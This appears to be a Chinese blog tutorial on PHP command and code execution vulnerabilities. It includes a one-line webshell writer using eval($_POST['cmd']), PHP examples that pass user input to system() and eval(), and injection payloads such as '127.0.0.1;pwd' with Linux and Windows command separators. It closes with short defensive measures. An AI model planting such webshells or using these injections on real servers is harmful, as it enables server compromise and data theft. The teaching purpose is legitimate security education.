命令执行--系统命令

一、利用漏洞获取webshell

漏洞上传,形成一句话木马,利用命令执行获得webshell

fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>');

以防过滤,可以利用ASCII转换,连接执行。
在这里插入图片描述
1.要点:要清楚单双引号的区别。
单引号,引号内部的变量不会执行,直接输出。
双引号,会经过编译器解释后执行。

在这里插入图片描述
问:你看出来什么端倪了吗?
答:发现单引号只能解析\\’ 只能将这两个在字符串中 转义成 正常的斜杠与单引号,其他的都是原样输出。

第二个参数---------要当成字符串执行,因此用单引号。

2.{}
php中大括号的作用,如下:

a、不管什么程序,function name(){}, for(){},….这太多了,不说也知道什么用了。
b、KaTeX parse error: Expected '}', got 'EOF' at end of input: …字符串变量当成数组处理 c、{val},这时候大括号起的作用就是,告诉PHP,括起来的要当成变量处理。

二、系统命令执行

应用有时需要调用一些执行系统命令的函数,
如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,
当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞

利用条件
1.应用调用执行系统命令的函数
2.将用户输入作为系统命令的参数拼接到了命令行中
3.没有对用户输入进行过滤或过滤不严

漏洞分类
1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program --arg $arg");

2.系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)

3.调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行

漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
等等

1. system("$arg");                                      //直接输入即可
2. system("/bin/prog $arg");                     //直接输入;ls
3. system("/bin/prog -p $arg");                //和2一样
4. system("/bin/prog --p=\"$arg\"");      //可以输入";ls;"
5. system("/bin/prog --p='$arg'");          //可以输入';ls;'

在Linux上,上面的 ; 也可以用 | 、|| 代替

;    前面的执行完执行后面的
|    是管道符,显示后面的执行结果
||   当前面的执行出错时执行后面的
&    前面的语句为假则直接执行后面的
&&   A执行成功,然后才会执行B

在Windows上,不能用 ; 可以用 &、&&、|、|| 代替

A&B         前面的语句为假则直接执行后面的
A&&B     A执行成功,然后才会执行B
A|B         A的输出,作为B的输入
A||B         A执行失败,然后才会执行B

实例:

<?php
    $arg = $_GET['cmd'];
    if ($arg)
    {
       system("$arg");
    }
?>

payload

cmd=ipconfig

示例二

<?php
    $arg = $_GET['cmd'];
    if ($arg) 
    {
        system("ping -c 3 $arg");
    }
?>
cmd=127.0.0.1;pwd

代码执行:
在cmd.php中的代码如下:

<?php
    eval($_REQUEST['code']);
?>
 

提交http:/127.0.0.1/1.php?code=phpinfo() 后就会执行phpinfo()

三、防护手段

1.禁用部分高危函数

在php.ini,找到disable_functions,添加禁用的函数名

2.严格过滤关键字符
“&&”、 “;” 、 “||” 等

3.严格限制允许的参数类型

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值